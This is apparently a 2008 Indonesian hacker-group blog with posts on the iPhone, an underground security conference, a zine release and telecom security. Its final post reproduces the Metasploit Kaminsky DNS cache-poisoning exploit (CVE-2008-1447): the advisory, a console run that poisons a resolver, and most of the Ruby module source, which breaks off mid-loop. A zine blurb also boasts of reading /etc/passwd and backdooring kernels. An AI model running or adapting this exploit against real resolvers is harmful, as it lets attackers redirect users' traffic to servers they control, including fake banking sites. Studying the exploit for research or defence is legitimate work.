Kecoak Elektronik Indonesia

Gambar diatas merupakan salah satu tipikal joke sindirian untuk iPhone saat ini. iPhone sendiri sudah keluar sejak setahun yang lalu ketika apple merilis 1st Gen iPhone dengan kemampuan radio non-3G, yang tentu saja juga banyak dihujat dan dicemooh oleh banyak pihak karena ‘ketidakmampuan’-nya melayani user selayaknya handset-handset lain seperti nokia dan blackberry.

Comparison is done against existing mobile device.

Jika dibandingkan dengan existing mobile device bahkan yang model lama sekalipun, memang iPhone masih banyak keterbatasan. Namun jika ditelaah lebih lanjut lagi, iPhone tidak didesign untuk melayani end-user dengan kapasitas/kemampuan yang sama seperti mobile phone pada umumnya. Kita bisa mengatakan bahwa iPhone adalah komputer mini dengan memory 512mb, prosesor 620 MHz, harddisk 8G/16G, sistem operasi turunan dari BSD-like (Darwin) yang bisa digunakan untuk telepon. Mungkin bisa dikatakan seperti laptop yang sebesar genggaman tangan dan dapat digunakan untuk berbagai macam keperluan. Salah satunya telepon. Hanya saja banyak yang mengira bahwa iPhone *hanya* untuk telepon.

Jika kita melihat presentasi steve jobs pada WWDC ‘08 beberapa bulan lalu, khususnya ketika jobs merilis SDK iPhone untuk pertama kalinya dan memperlihatkan apa yang dapat kita lakukan dengan SDK tersebut maka untuk beberapa pihak tentu rilis SDK ini akan menjadi sangat menarik. Diantaranya adalah bagi para developer, terutama mungkin para programmer yang hobi membuat aplikasi diwaktu luangnya. Suatu keuntungan tersendiri bagi para developer bebas yang mampu membuat aplikasi iPhone, cukup dengan download SDK tersebut maka kita akan mendapatkan beragam aplikasi untuk development beserta tools-tools debuging plus…iPhone simulator. Apple juga menawarkan suatu program bagi para developer untuk testing aplikasinya dengan harga tertentu.

Yang paling menarik adalah kita dapat meletakan aplikasi tersebut pada apple store dan website apple yang notabene dikunjungi ribuat pengunjung dalam satu harinya. Jika dalam sebulan ada 100 orang saja yang tertarik pada aplikasi milik kita dan mendownload serta membeli aplikasi tersebut, tentu ini bisa menjadi salah satu sumber uang saku yang cukup lumayan. Terlebih lagi jika kita bisa membuat aplikasi yang bermanfaat bagi banyak pihak dan dibutuhkan. Sampai saat ini saya pribadi masih sering berpikir apakah kesempatan ini juga dilirik oleh para developer-developer Indonesia, atau mungkin software house Indonesia untuk ikut develop aplikasi iPhone?! terlebih lagi dengan adanya isu bahwa salah satu operator besar di Indonesia akan mem-bundle iPhone sehingga semakin banyak masyarakat indonesia yang menggunakan iPhone.

Oke, fakta diatas jika dilihat dari segi bisnis untuk para developer. Dengan dirilisnya SDK maka sebenarnya apple juga telah melakukan penanaman bibit (baca: investasi) dalam bentuk yang sangat kreatif. Banyak yang menghujat iPhone karena ketidakmampuannya menyaingi kemampuan telepon genggam saat ini, namun bagi para geek dan pecinta teknologi tentu akan sangat kagum dengan feature lain yang tersedia pada iPhone dan belum ditemukan pada produk telepon selular lain, diantaranya multitouch dan accelerometer. Multitouch berupa layar sentuh sebagai interface antara user dengan iPhone bisa dibilang teknologi baru (well…walaupun beberapa individu mengklaim bahwa teknologi ini telah ada sejak tahun 80-90 an), dan implementasi accelerometer yang memanfaatkan perhitungan fisika terhadap gaya gravitasi bumi untuk mengubah tampilan pada iPhone termasuk feature yang luar biasa.

Saya sendiri sempat mendengar bahwa ada 2 orang Indonesia yang tergabung dalam komunitas olimpiade fisika tingkat SMU dari Indonesia bekerja sama dengan para mahasiswa MIT melakukan penyempurnaan teknologi accelerometer pada telepon selular (diantaranya untuk studi kasus iPhone dan mungkin android google), mereka mengajukan prototipe aplikasi ini pada event perlombaan programming tingkat internasional di jepang, dan mungkin telah digunakan oleh iPhone/android saat ini. It’s kewl anyway guys ;).

Perilisan SDK iPhone akan membuka kesempatan bagi setiap orang diseluruh dunia secara tidak langsung menyempurnakan produk-produk iPhone, dan juga membuat aplikasi-aplikasi untuk iPhone. iPhone bisa diibaratkan sebagai template, dan telah siap untuk teknologi-teknologi yang telah ada saat ini namun apple membiarkan pihak lain (third party) mengembangkan produk tersebut untuk iPhone. Diantaranya adalah produk video recorder, GPS, dan mungkin video call untuk 3G. Setelah hampir 20 tahun, perkembangan opensource sungguh luar biasa. Prinsip ‘dikembangkan oleh masyarakat seluruh dunia’ disadari oleh banyak vendor sebagai sesuatu yang sulit untuk ditandingi. Hal ini bisa kita lihat dengan perkembangan Linux sebagai sistem operasi opensource yang pada kenyataannya banyak memunculkan kreativitas-kreativitas baru di bidang teknologi, dan kreativitas-kreativitas ini dihasilkan oleh berbagai macam orang diseluruh dunia. Walaupun vendor dengan close-source nya juga ikut mempengaruhi perkembangan teknologi, namun tidak dapat dipungkiri bahwa opensource berperan sangat besar dalam perkembangan teknologi saat ini. Again, they’re genious :).

Terlepas dari keunggulan produk apple ini, iPhone merupakan salah satu hal yang dapat membuat masyarakat dekat dengan internet. Perkembangan internet sangat luar biasa, namun tetap saja kita membutuhkan posisi duduk didepan komputer untuk mengaksesnya. Saat ini akses internet semakin mudah dengan bundle telekomunikasi. Dengan kapasitas teknologi seperti 3G, akses internet dapat lebih mudah melalui telepon selular. Namun tetap saja, fungsi utamanya adalah untuk keperlua telekomunikasi. Hal inilah yang membuat produk iPhone berbeda, dengan memanfaatkan ‘kendaraan’ telekomunikasi iPhone membuat masyarakat lebih dekat pada internet, terlebih lagi dengan kapasitas iPhone yang membuat masyarakat lebih nyaman seperti fungsi iPod, web browser, dan yang paling menarik adalah aplikasi-aplikasi simple namun praktis yang dapat digunakan untuk berinteraksi dengan internet sehari-hari. Contohnya: email yang dapat diakses dengan beberapa kali sentuh dan interaktif, facebook yang menyuguhkan akses secara simple tapi menarik ke social network, radio streaming dari berbagai siaran di seluruh dunia, aplikasi perbankan dari bank diseluruh dunia, twitterific untuk akses aplikasi twitter yang lagi-lagi secara simple namun intuitive, dsb. iPhone berhasil membuat masyarakat lebih dekat dengan internet dan menjadi salah satu Mobil Internet Devices yang luar biasa.

“Mobile broadband networks have been out for about three years now, but what has been lacking is devices that take advantage of these networks” - Telecom Magazine

Bagi yang berkecimpung dibidang telekomunikasi, pendapat diatas sangat benar. Teknologi telekomunikasi sudah sangat tinggi, namun hal ini akan menjadi sia-sia jika tidak dapat dimanfaatkan secara maksimal oleh masyarakat. Untuk itu kehadiran Mobil Internet Devices yang inovatif sangat dibutuhkan.

Melalui link yang sama diatas, kita dapat melihat bahwa T-Mobile telah melakukan testing perdananya untuk Android yang merupakan produk Mobil Internet Devices keluaran Google. Berbeda dengan apple, google tetap mengusung prinsip opensource dengan menggunakan sistem operasi berbasis opensource untuk produk Android.

Untuk bidang security, lagi-lagi perkembangan teknologi memaksa para security maniac untuk ikut berpartisipasi di kawasan Mobile Internet Devices. Jika sebelumnya para researcher melakukan fuzzing hanya untuk aplikasi server ataupun apliasi desktop, maka sudah selayaknya untuk juga melihat teknologi Mobile Internet Devices. Seperti yang telah kita ketahui bahwa internet adalah tempat yang sangat berbahaya, jika privasi kita di komputer desktop rentan terhadap berbagai macam serangan maka para pengguna Mobile Internet Devices pun akan terkena resiko yang sama, bahkan mungkin lebih besar karena umumnya kita menyimpang lebih banyak informasi/data personal pada telepon genggam pribadi. Bisa dibayangkan jika saat browsing dengan mobile safari ternyata tiba-tiba foto-foto kita dengan sang pacar lenyap dan muncul di Internet, atau ketika download suatu aplikasi iPhone ternyata didalamnya juga terdapat worm/trojan yang akan mengirimkan data-data rahasia (hmmm…rasanya belum ada kan program antivirus/anti-trojan yang dapat mendeteksi aplikasi iPhone? ), atau lebih parah…iPhone kita telah terpasang backdoor terlebih lagi dengan maraknya jailbreak dan toolchain dimana seseorang dapat mengembangkan backdoor dan memanfaatkan shell pada iPhone milik kita. Dan sebagainya.

Intinya, dengan keberadaan Mobil Internet Devices yang diawali oleh iPhone tentu akan membuat kultur dan gaya hidup masyarakat dunia berubah sedikit demi sedikit, dan dengan adanya internet maka batas wilayah sudah tidak berarti lagi. Demikian juga dengan batas privasi akan semakin beresiko tinggi untuk hilang begitu saja.

Satu hal yang menarik mengenai fakta pada iPhone, banyak sekali geek yang tertarik untuk mencobanya, dan jika suatu produk sudah diminati oleh para geek dan hacker…tinggal tunggu waktu hingga produk komersial tersebut menjadi mainan di Underground. Hal ini telah terjadi pada iPhone dlm waktu hanya 1 tahun sejak kemunculan perdananya. Dan kita dapat menemukan para profesional di berbagai bidang (IT, programmer, telco, etc) berkumpul dan bermain di underground untuk membuka berbagai macam tabir rahasia teknologi iPhone.

Semoga saja operator di Indonesia menyadari potensi Mobile Internet Devices ini sehingga bersedia membantu harga jualnya sehingga tidak terlalu mahal dan dapat membuat masyarakat Indonesia lebih dekat lagi pada internet. Bukan tidak mungkin dalam beberapa tahun kedepan kita tidak perlu membawa atm visa elektron untuk belanja di supermarket, namun cukup mengeluarkan gadget dan transfer via paypal untuk pembayarannya.

Ahhh, future….

Underground goes conference, is that allowed?! *lol*

idsecconf 2008 awalnya dipublikasikan oleh group ECHO pada rilis ezine terbaru, intinya mengadakan suatu konferensi security yang bertahap nasional bagi masyarakat underground Indonesia. Bentuk acara-acara berbau konferensi dengan tema security rasanya sudah tidak asing di Indonesia, ada yang targetnya untuk anak sekolahan, umum, ataupun industri. Para penyelenggaaranya pun umumya terbatas pada ruang lingkup tertentu, seperti kelompok tertentu, organisasi tertentu, ataupun perusahaan tertentu.

Gerakan internet underground di Indonesia dimulai sejak akhir tahun 90an, dan terus berkembang hingga sekarang. Beberapa kelompok ada yang pecah, mati, tapi ada juga yang tetap bertahan sampai saat ini. Sulit juga untuk dipungkiri bahwa para profesional di bidang IT, network, security, telekomunikasi saat ini berasal dari individu-individu yang belajar secara otodidak dan mandiri melalui underground. Dan sulit juga untuk dipungkiri bahwa banyak sekali orang-orang dari komunitas underground memiliki pengetahuan unik yang belum diketahui oleh para profesional/akademis khususnya dibidang internet security.

Dengan banyaknya komunitas underground di Indonesia yang selama ini saling berinteraksi hanya melalui internet, tentu akan sangat menarik jika kita semua bisa bertemu muka dan berkumpul bersama serta saling berbagi pada event tersebut. Yap, masyarakat luar negeri telah lama melakukan hal ini, terbukti dengan adanya event-event seperti CCC dan defCon dimana semua berkumpul untuk saling berbagi dan seringkali menghasilkan sesuatu (new technique, coding, exploit, security tools) selepas even-even tersebut.

ECHO melakukan inisialisasi awal untuk even komunitas underground ini namun pada pelaksanaannya melibatkan banyak komunitas underground yang exist di Indonesia. Let’s say, even ini akan menjadi ajang pertemuan dari underground untuk underground. So, idsecconf membutuhkan dukungan dari para pecinta underground diseluruh Indonesia dan diharapkan menjadi acara kita bersama tanpa ada embel-embel bisnis, publikasi, media massa, government didalamnya. Murni untuk saling berbagi, berkumpul, dan bermain (yes, there will be hacking game too) bersama.

Prove your concept, code, experience, research, hacking, reversing in these event. Share what you have, and enjoy what other’s share to you.

See ya there guys!

Who said we already left underground?!who said we’re not reading your /etc/passwd anymore?!who said we’re not reading your email anymore?!who said we’re not backdooring your kernel anymore?!Who said we’re too busy with real life and have no more time for underground?!Who said we’re not keeping our eyes in Indonesian politics these days?!we’re still alive, and we’re still sniffing your system silently.

We present this not from hacker to hacker, we present this from underground to underground. Kecoak Elektronik Indonesia proudly to present new Toket Volume 04.

• 0×00. Introduction ……………………………. Staff

• 0×01. Fun with the IP Security Protocol………….. Nemo

• 0×02. Grid Computing [In]security ………………. StrawHat

• 0×03. Back to basic of Unix Shell [Chapter 1]…….. Spider73

• 0×04. DNS Reflector Amplification Attack…………. StrawHat

• 0×05. Non-Official Cover (NOC) of Spywar…………. Nemo

• 0×06. ByteSkrew Collection …………………….. Staff

Enjoy it folks, and… L0n9 l1v3 unc13r9r0unc1 !

Huff, it’s been a busy week lately. Just wanna update some news now.

Metasploit mengeluarkan rilis tools terbaru yang merupakan gabungan antara Metasploit dan Karma. Karma merupakan tools dino dai zovi yang digunakan untuk menyerang kelemahan implementasi protokol pada wireless connection. Client umumnya akan mengirimkan beacon packet untuk melakukan asosiasi kedalam suatu network, dan jika client tersebut sudah pernah melakukan asosiasi maka proses selanjutnya akan dilakukan otomatis. Karma dapat berpura-pura menjadi AP untuk proses asosiasi tersebut, dan menjebak client untuk menggunakan Karma dalam mengakses internet. Dengan begitu karma dapat menjadi Man-in-the-middle untuk setiap koneksi. Windows telah melakukan update untuk proses asosiasi sejak dino mempresentasikan hal ini beberapa tahun yang lalu.

Dengan bantuan metasploit, karma dapat menjadi lebih powerful. Informasi mengenai Karmetasploit dapat dibaca pada link ini.

Next, I create simple article in Indonesian language which explain about Bailiwicked attack. Di publish oleh ezine echo terbaru.

AR dari securebit merilis tehnik eksploitasi DNS bugs menggunakan CNAME response yang dapat melakukan overwrite record ‘A’ apapun. Hal ini berbeda dengan implementasi eksploit yang bertebaran di internet dimana cache tidak dapat di overwrite jika sudah terdapat pada DNS cache. Informasi lengkap nya bisa dibaca pada link ini.

Cheers!

Terdapat 3 permintaan keanggotaan yang tertunda.

20.7.2008 20:34     dari -cencored-@gmail.com
saya ini admin sering kecolongan oleh para hacker dan craker,, saya pengin minta kita bisa saling sharing….
Tindakan: Setuju Tolak Hapus Tidak ada
18.7.2008 22:14     dari -cencored-@gmail.com
Saya pemula di dunia keamanan jaringan komputer (computer network and security) dan saya ingin belajar tentangnya di milis yang digawangi komunitas bawah tanah yang sangat terkenal ini. Terima kasih.
Tindakan: Setuju Tolak Hapus Tidak ada
18.7.2008 23:52     dari -cencored-@gmail.com
Gue bekerja sebagai web developer. Sangat menyukai perkembangan dunia elektronik terutama yang berkaitan dengan komputer dan internet. regards, kaitokid
Tindakan: Setuju Tolak Hapus Tidak ada

Diantara request untuk join mailing list kecoak elektronik indonesia di googlegroups, rasanya cukup unik melihat alasan bergabung 3 orang tersebut. Biasanya memberikan alasan yang seadanya saja :).

Sayang sekali fitur mailing list tersebut belum dapat dimanfaatkan dengan baik, padahal sudah cukup banyak yang bergabung.

Anyway, approved!

No GUI installer. Jadi untuk install ke harddisk/usb harus menggunakan command line:

1) Copy file satu per satu dari cd ke harddisk

2) Chroot ke sistem linux yang di harddisk

3) Reload boot loader ke MBR harddisk

3 prinsip yang sangat tidak asing bagi para pengguna Gentoo ;). Check the complete step from here . Just installed it on MacBook easily.

Snapshot?!

Information Systems Security has been an issue of paramount concern to many organisations particularly in this era where convergence between telecommunication and Information Technologies (IT) is prevalent. Telecommunication networks are currently offering services that were traditionally confined to conventional packet-switched networks. As a result of such developments these networks are now facing the same security challenges as those that have been confronting packet switched networks all along. The security risks are even higher when it comes to mobile telecommunication services, basically because of the mobility offered by such networks. The risks are also set to increase as the networks are gradually evolving to the next generation of only IP based networks. It is against this backdrop that the *tiiiit* Director of IT & Billing set up a task force responsible for developing a security framework that will guide testing of all systems sourced from third parties to ensure they adhere to security best practices and standards.

Sebelumnya pernah dibahas implementasi protokol IP pada bidang telekomunikasi dimana teknologi tersebut dibutuhkan salah satunya karena kebutuhan bandwidth yang semakin tinggi. Implementasi teknologi IP pada infrastruktur core telekomunikasi telah berkembang sangat pesat. Pemanfaatan teknologi seperti SCTP, SIGTRAN pada network protokol hingga pemanfaatan CORBA, XML, HttpServ, SPML, SOAP over HTTP, LDAP, dll pada sisi aplikasi merupakan peningkatan teknologi telekomunikasi saat ini, bisa dibilang dunia 3G dan selanjutnya merupakan hasil merger antara teknologi internet (IP based) dan teknologi telecom (SS7 based). Dan cukup banyak teknologi IP Based merupakan implementasi open protocol yang sifatnya open source.

Quote diatas merupakan salah satu bentuk request operator teknologi telekomunikasi untuk peningkatan security infrastruktur yang mereka miliki. Jika dahulu tidak banyak security profesional yang bisa menyentuh bidang telekomunikasi dikarenakan basic pengetahuan yang mereka miliki umumnya berdasarkan IP based technology (telekomunikasi merupakan industry oriented, sehingga hanya orang-orang yang berkecimpung didalamnya memiliki kesempatan mempelajari teknologi tersebut secara mendalam) maka saat ini security profesional sudah selayaknya memiliki basic pengetahuan di bidang teknologi telekomunikasi. At least, mengerti bagaimana mekanisme teknologi GSM/UMTS bekerja ;).

Perpindahan teknologi ke IP based menyebabkan mesin-mesin telekomunikasi semakin dapat dijangkau oleh teknologi security dan semakin besar kemungkinan untuk didapatkan security hole.

So, perkembangan teknologi telekomunikasi ini akan menambah luas jangkauan para security consultant / security profesional atau memperbanyak lahan jajahan para hacker?!atau keduanya?!

Have I mentioned we’ll use Linux for next generation telco?!

Sangat mudah diduga, dengan hitungan jam setelah disclosure bug, exploit untuk DNS sudah bertebaran. Sebagai informasi, tidak semua organisasi/perusahaan melakukan update system secara berkala (terutama di Indonesia). DNS merupakan infrastruktur yang sangat crucial dalam dunia internet, apabila suatu DNS bisa di control isinya, maka kita dapat dengan mudah mengontrol para pengguna lain yang menggunakan DNS tersebut dengan mengarahkannya pada server pribadi (contoh: redirect url untuk internet banking).

This (attack takes) ten seconds to hijack the net. . . . Unless you like other people reading your e-mail, go patch. If you want to actually see Google and Yahoo and MySpace and Facebook and the entire web, if you actually want to see the correct web sites, go patch. The debate about whether this bug is new or old is ultimately useless. In ten seconds, the ISP DNS servers are taken over . — Dan Kaminsky

Well, I choose metasploit for this anyway since it’s easy to understand the pattern of bailiwicked attack with this sploit (created by |)ruid & HDM). Metasploit menggunakan scruby (implementasi scapy dengan ruby pada metasploit) untuk manipulasi paket spoofing.

################# DNS protocol exploit by Metasploi

____      ____     __    __
/    \    /    \   |  |  |  |
—-====####/  /\__\##/  /\  \##|  |##|  |####====—-
|  |      |  |__|  | |  |  |  |
|  |  ___ |   __   | |  |  |  |
——======######\  \/  /#|  |##|  |#|  |##|  |######======——
\____/  |__|  |__|  \______/

Computer Academic Underground
http://www.caughq.org
Exploit Code

===============/========================================================
Exploit ID:     CAU-EX-2008-0002
Release Date:   2008.07.23
Title:          bailiwicked_host.rb
Description:    Kaminsky DNS Cache Poisoning Flaw Exploit
Tested:         BIND 9.4.1-9.4.2
Attributes:     Remote, Poison, Resolver, Metasploit
Exploit URL:    http://www.caughq.org/exploits/CAU-EX-2008-0002.txt
Author/Email:   I)ruid <druid (@) caughq.org>
H D Moore <hdm (@) metasploit.com>
===============/========================================================

Description
===========

This exploit targets a fairly ubiquitous flaw in DNS implementations
which allow the insertion of malicious DNS records into the cache of the
target nameserver.  This exploit caches a single malicious host entry
into the target nameserver.  By causing the target nameserver to query
for random hostnames at the target domain, the attacker can spoof a
response to the target server including an answer for the query, an
authority server record, and an additional record for that server,
causing target nameserver to insert the additional record into the
cache.

Example
=======

# /msf3/msfconsole

_                  _       _ _
| |                | |     (_) |
_ __ ___   ___| |_ __ _ ___ _ __ | | ___  _| |_
| ‘_ ` _ \ / _ \ __/ _` / __| ‘_ \| |/ _ \| | __|
| | | | | |  __/ || (_| \__ \ |_) | | (_) | | |_
|_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__|
| |
|_|

=[ msf v3.2-release
+ -- --=[ 298 exploits - 124 payloads
+ -- --=[ 18 encoders - 6 nops
=[ 72 aux

msf > use auxiliary/spoof/dns/bailiwicked_host
msf auxiliary(bailiwicked_host) > show options

Module options:

Name      Current Setting    Required  Description
----      ---------------    --------  -----------
HOSTNAME  pwned.example.com  yes       Hostname to hijack
NEWADDR   1.3.3.7            yes       New address for hostname
RECONS    208.67.222.222     yes       Nameserver used for reconnaissance
RHOST                        yes       The target address
SRCPORT                      yes       The target server's source query port (0 for automatic)
XIDS      10                 yes       Number of XIDs to try for each query

msf auxiliary(bailiwicked_host) > set RHOST A.B.C.D
RHOST => A.B.C.D

msf auxiliary(bailiwicked_host) > check
[*] Using the Metasploit service to verify exploitability…
[*]  >> ADDRESS: A.B.C.D  PORT: 48178
[*]  >> ADDRESS: A.B.C.D  PORT: 48178
[*]  >> ADDRESS: A.B.C.D  PORT: 48178
[*]  >> ADDRESS: A.B.C.D  PORT: 48178
[*]  >> ADDRESS: A.B.C.D  PORT: 48178
[*] FAIL: This server uses static source ports and is vulnerable to poisoning

msf auxiliary(bailiwicked_host) > set SRCPORT 0
SRCPORT => 0

msf auxiliary(bailiwicked_host) > run
[*] Switching to target port 48178 based on Metasploit service
[*] Targeting nameserver A.B.C.D
[*] Querying recon nameserver for example.com.’s nameservers…
[*]  Got answer with 2 answers, 0 authorities
[*]  Got an NS record: example.com.            172643  IN      NS      ns89.worldnic.com.
[*] Querying recon nameserver for address of ns89.worldnic.com….
[*]  Got answer with 1 answers, 0 authorities
[*]  Got an A record: ns89.worldnic.com.      172794  IN      A       205.178.190.45
[*] Checking Authoritativeness: Querying 205.178.190.45 for example.com….
[*]   ns89.worldnic.com. is authoritative for example.com., adding to list of nameservers to spoof as
[*]  Got an NS record: example.com.            172643  IN      NS      ns90.worldnic.com.
[*] Querying recon nameserver for address of ns90.worldnic.com….
[*]  Got answer with 1 answers, 0 authorities
[*]  Got an A record: ns90.worldnic.com.      172794  IN      A       205.178.144.45
[*] Checking Authoritativeness: Querying 205.178.144.45 for example.com….
[*]   ns90.worldnic.com. is authoritative for example.com., adding to list of nameservers to spoof as
[*] Attempting to inject a poison record for pwned.example.com. into A.B.C.D:48178…
[*] Sent 1000 queries and 20000 spoofed responses…
[*] Sent 2000 queries and 40000 spoofed responses…
[*] Sent 3000 queries and 60000 spoofed responses…
[*] Sent 4000 queries and 80000 spoofed responses…
[*] Sent 5000 queries and 100000 spoofed responses…
[*] Sent 6000 queries and 120000 spoofed responses…
[*] Sent 7000 queries and 140000 spoofed responses…
[*] Poisoning successful after 7000 attempts: pwned.example.com == 1.3.3.7
[*] Auxiliary module execution completed
msf auxiliary(bailiwicked_host) >

msf auxiliary(bailiwicked_host) > nslookup pwned.example.com A.B.C.D
[*] exec: nslookup pwned.example.com A.B.C.D

Server:         A.B.C.D
Address:        A.B.C.D#53

Non-authoritative answer:
Name:   pwned.example.com
Address: 1.3.3.7

Credits
=======

Dan Kaminsky is credited with originally discovering this vulnerability.

References
==========

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1447
http://www.kb.cert.org/vuls/id/800113

Metasploit
==========

require ‘msf/core’
require ‘net/dns’
require ’scruby’
require ‘resolv’

module Msf

class Auxiliary::Spoof::Dns::BailiWickedHost < Msf::Auxiliary

include Exploit::Remote::Ip

def initialize(info = {})
super(update_info(info,
‘Name’           => ‘DNS BailiWicked Host Attack’,
‘Description’    => %q{
This exploit attacks a fairly ubiquitous flaw in DNS implementations which
Dan Kaminsky found and disclosed ~Jul 2008.  This exploit caches a single
malicious host entry into the target nameserver by sending random sub-domain
queries to the target DNS server coupled with spoofed replies to those
queries from the authoritative nameservers for the domain which contain a
malicious host entry for the hostname to be poisoned in the authority and
additional records sections.  Eventually, a guessed ID will match and the
spoofed packet will get accepted, and due to the additional hostname entry
being within bailiwick constraints of the original request the malicious host
entry will get cached.
},
‘Author’         => [ 'I)ruid', 'hdm' ],
‘License’        => MSF_LICENSE,
‘Version’        => ‘$Revision: 5585 $’,
‘References’     =>
[
[ 'CVE', '2008-1447' ],
[ 'US-CERT-VU', '8000113' ],
[ 'URL', 'http://www.caughq.org/exploits/CAU-EX-2008-0002.txt' ],
],
‘Privileged’     => true,
‘Targets’        =>
[
["BIND",
{
'Arch' => ARCH_X86,
'Platform' => 'linux',
},
],
],
‘DisclosureDate’ => ‘Jul 21 2008′
))

register_options(
[
OptPort.new('SRCPORT', [true, "The target server's source query port (0 for automatic)", nil]),
OptString.new(’HOSTNAME’, [true, 'Hostname to hijack', 'pwned.example.com']),
OptAddress.new(’NEWADDR’, [true, 'New address for hostname', '1.3.3.7']),
OptAddress.new(’RECONS’, [true, 'Nameserver used for reconnaissance', '208.67.222.222']),
OptInt.new(’XIDS’, [true, 'Number of XIDs to try for each query', 10]),
OptInt.new(’TTL’, [true, 'TTL for the malicious host entry', 31337]),
], self.class)

end

def auxiliary_commands
return { "check" => "Determine if the specified DNS server (RHOST) is vulnerable" }
end

def cmd_check(*args)
targ = args[0] || rhost()
if(not (targ and targ.length > 0))
print_status("usage: check [dns-server]")
return
end

print_status("Using the Metasploit service to verify exploitability…")
srv_sock = Rex::Socket.create_udp(
‘PeerHost’ => targ,
‘PeerPort’ => 53
)

random = false
ports  = []
lport  = nil

1.upto(5) do |i|

req = Resolv::DNS::Message.new
txt = "spoofprobe-check-#{i}-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com"
req.add_question(txt, Resolv::DNS::Resource::IN::TXT)
req.rd = 1

srv_sock.put(req.encode)
res, addr = srv_sock.recvfrom()

if res and res.length > 0
res = Resolv::DNS::Message.decode(res)
res.each_answer do |name, ttl, data|
if (name.to_s == txt and data.strings.join(”) =~ /^([^\s]+)\s+.*red\.metasploit\.com/m)
t_addr, t_port = $1.split(’:')

print_status(" >> ADDRESS: #{t_addr}  PORT: #{t_port}")
t_port = t_port.to_i
if(lport and lport != t_port)
random = true
end
lport  = t_port
ports << t_port
end
end
end
end

srv_sock.close

if(ports.length < 5)
print_status("UNKNOWN: This server did not reply to our vulnerability check requests")
return
end

if(random)
print_status("PASS: This server does not use a static source port. Ports: #{ports.join(", ")}")
print_status("      This server may still be exploitable, but not by this tool.")
else
print_status("FAIL: This server uses static source ports and is vulnerable to poisoning")
end
end

def run
target   = rhost()
source   = Rex::Socket.source_address(target)
sport    = datastore['SRCPORT']
hostname = datastore['HOSTNAME'] + ‘.’
address  = datastore['NEWADDR']
recons   = datastore['RECONS']
xids     = datastore['XIDS'].to_i
ttl      = datastore['TTL'].to_i
xidbase  = rand(4)+2*10000

domain = hostname.match(/[^\x2e]+\x2e[^\x2e]+\x2e$/)[0]

srv_sock = Rex::Socket.create_udp(
‘PeerHost’ => target,
‘PeerPort’ => 53
)

# Get the source port via the metasploit service if it’s not set
if sport.to_i == 0
req = Resolv::DNS::Message.new
txt = "spoofprobe-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com"
req.add_question(txt, Resolv::DNS::Resource::IN::TXT)
req.rd = 1

srv_sock.put(req.encode)
res, addr = srv_sock.recvfrom()

if res and res.length > 0
res = Resolv::DNS::Message.decode(res)
res.each_answer do |name, ttl, data|
if (name.to_s == txt and data.strings.join(”) =~ /^([^\s]+)\s+.*red\.metasploit\.com/m)
t_addr, t_port = $1.split(’:')
sport = t_port.to_i

print_status("Switching to target port #{sport} based on Metasploit service")
if target != t_addr
print_status("Warning: target address #{target} is not the same as the nameserver’s query source address #{t_addr}!")
end
end
end
end
end

# Verify its not already cached
begin
query = Resolv::DNS::Message.new
query.add_question(hostname, Resolv::DNS::Resource::IN::A)
query.rd = 0

begin
cached = false
srv_sock.put(query.encode)
answer, addr = srv_sock.recvfrom()

if answer and answer.length > 0
answer = Resolv::DNS::Message.decode(answer)
answer.each_answer do |name, ttl, data|
if((name.to_s + ".") == hostname  and data.address.to_s == address)
t = Time.now + ttl
print_status("Failure: This hostname is already in the target cache: #{name} == #{address}")
print_status("         Cache entry expires on #{t.to_s}… sleeping.")
cached = true
sleep ttl
end
end
end
end until not cached
rescue ::Interrupt
raise $!
rescue ::Exception => e
print_status("Error checking the DNS name: #{e.class} #{e} #{e.backtrace}")
end

res0 = Net::DNS::Resolver.new(:nameservers => [recons], :dns_search => false, :recursive => true) # reconnaissance resolver

print_status "Targeting nameserver #{target} for injection of #{hostname} as #{address}"

# Look up the nameservers for the domain
print_status "Querying recon nameserver for #{domain}’s nameservers…"
answer0 = res0.send(domain, Net::DNS::NS)
#print_status " Got answer with #{answer0.header.anCount} answers, #{answer0.header.nsCount} authorities"

barbs = [] # storage for nameservers
answer0.answer.each do |rr0|
print_status " Got an #{rr0.type} record: #{rr0.inspect}"
if rr0.type == ‘NS’
print_status "  Querying recon nameserver for address of #{rr0.nsdname}…"
answer1 = res0.send(rr0.nsdname) # get the ns’s answer for the hostname
#print_status " Got answer with #{answer1.header.anCount} answers, #{answer1.header.nsCount} authorities"
answer1.answer.each do |rr1|
print_status "   Got an #{rr1.type} record: #{rr1.inspect}"
res2 = Net::DNS::Resolver.new(:nameservers => rr1.address, :dns_search => false, :recursive => false, :retry => 1)
print_status "    Checking Authoritativeness: Querying #{rr1.address} for #{domain}…"
answer2 = res2.send(domain)
if answer2 and answer2.header.auth? and answer2.header.anCount >= 1
nsrec = {:name => rr0.nsdname, :addr => rr1.address}
barbs << nsrec
print_status "    #{rr0.nsdname} is authoritative for #{domain}, adding to list of nameservers to spoof as"
end
end
end
end

if barbs.length == 0
print_status( "No DNS servers found.")
srv_sock.close
disconnect_ip
return
end

# Flood the target with queries and spoofed responses, one will eventually hit
queries = 0
responses = 0

connect_ip if not ip_sock

print_status( "Attempting to inject a poison record for #{hostname} into #{target}:#{sport}…")

while true
randhost = Rex::Text.rand_text_alphanumeric(12) + ‘.’ + domain # randomize the hostname

# Send spoofed query
req = Resolv::DNS::Message.new
req.id = rand(2**16)
req.add_question(randhost, Resolv::DNS::Resource::IN::A)

req.rd = 1

buff = (
Scruby::IP.new(
#:src   => barbs[0][:addr].to_s,
:src   => source,
:dst   => target,
:proto => 17
)/Scruby::UDP.new(
:sport => (rand((2**16)-1024)+1024).to_i,
:dport => 53
)/req.encode
).to_net
ip_sock.sendto(buff, target)
queries += 1

# Send evil spoofed answer from ALL nameservers (barbs[*][:addr])
req.add_answer(randhost, ttl, Resolv::DNS::Resource::IN::A.new(address))
req.add_authority(domain, ttl, Resolv::DNS::Resource::IN::NS.new(Resolv::DNS::Name.create(hostname)))
req.add_additional(hostname, ttl, Resolv::DNS::Resource::IN::A.new(address))
req.qr = 1
req.ra = 1

xidbase.upto(xidbase+xids-1) do |id|
req.id = id
barbs.each do |barb|
buff = (
Scruby::IP.new(
#:src   => barbs[i][:addr].to_s,
:src   => barb[:addr].to_s,
:dst   => target,
:proto => 17
)/Scruby::UDP.new(
:sport => 53,
:dport => sport.to_i
)/req.encode
).to_net
ip_sock.sendto(buff, target)
responses += 1
end
end

# status update
if queries % 1000 == 0
print_status("Sent #{queries} queries and #{responses} spoofed responses…")
end

